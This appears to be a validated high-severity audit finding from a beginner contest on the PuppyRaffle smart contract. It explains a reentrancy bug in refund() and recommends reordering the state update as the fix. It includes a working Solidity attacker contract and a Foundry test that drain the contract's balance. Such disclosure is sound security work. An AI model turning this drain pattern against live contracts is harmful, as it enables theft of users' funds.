First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

reentrancy vulnerability on refund

rapstyle

Summary

The PuppyRaffle::refund function is vulnerable to reentrancy attack. An attacker can empty the smart contract balance.

Vulnerability Details

The refund function is vulnerable to reentrancy attack.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
@> payable(msg.sender).sendValue(entranceFee);
​
@> players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

The function sends the eth to the user and then changes the value of players[playerIndex] that is used before sending the eth to check whether or not to send it.
This means that if a call is made to the same function refund, before the status is changed, the eth will be sent again. Exploiting this vulnerability can empty the smart contract balance.

I create an attacker contract and a test to verify the vulnerability, follow these steps to test it:

  • Put this file inside src folder, and rename it with Attacker.sol

Attacker code
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "./PuppyRaffle.sol";
​
contract Attacker {
PuppyRaffle contractToAttack;
​
constructor(address _raffle) {
contractToAttack = PuppyRaffle(_raffle);
}
​
function Attack() public {
console.log("Contract balance", address(contractToAttack).balance);
​
// First step - the attacker enter in the raffle with his address
address[] memory players = new address[](1);
players[0] = address(this);
contractToAttack.enterRaffle{value: 1 ether}(players);
​
console.log(
"Deposited 1 Ether, Contract balance",
address(contractToAttack).balance
);
// Second step - The attacker calls the refund method
contractToAttack.refund(0); // exploit here
​
console.log("Attack contract balance", address(this).balance);
console.log("Contract balance", address(contractToAttack).balance);
}
​
// The attacker use fallback function to exploit reentrancy
receive() external payable {
console.log("Attack contract balance", address(this).balance);
console.log("Contract balance", address(contractToAttack).balance);
if (address(contractToAttack).balance > 0 ether) {
// Last step - when the attacker contract receive the amount refunded, he recalls the refund method
// and he create a "loop" for empty the balance of the smart contract
contractToAttack.refund(0); // exploit here
}
}
}

  • Put this file inside test folder, and rename it with ReEntrancyTest.t.sol

Test code
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
​
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
import {Attacker} from "../src/Attacker.sol";
​
contract ReEntrancyTest is Test {
PuppyRaffle puppyRaffle;
Attacker attacker;
uint256 entranceFee = 1e18;
address feeAddress = address(99);
uint256 duration = 1 days;
​
function setUp() public {
puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);
attacker = new Attacker(address(puppyRaffle));
vm.deal(address(puppyRaffle), 5 ether);
vm.deal(address(attacker), 2 ether);
}
​
function testReentrancy() public {
attacker.Attack();
console.log("Final amount attacker", address(attacker).balance);
console.log("Final amount contract", address(puppyRaffle).balance);
}
}

  • and run the command

forge test -vvv --mc ReEntrancyTest

Impact

This vulnerability permits to an attacker to empty the balance of the smart contract.

Tools Used

  • Foundry

  • Manual review

Recommendations

It is necessary to move the line that updates the status before making the sendValue call.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(
playerAddress == msg.sender,
"PuppyRaffle: Only the player can refund"
);
require(
playerAddress != address(0),
"PuppyRaffle: Player already refunded, or is not active"
);
​
+ players[playerIndex] = address(0);
​
payable(msg.sender).sendValue(entranceFee);
​
- players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!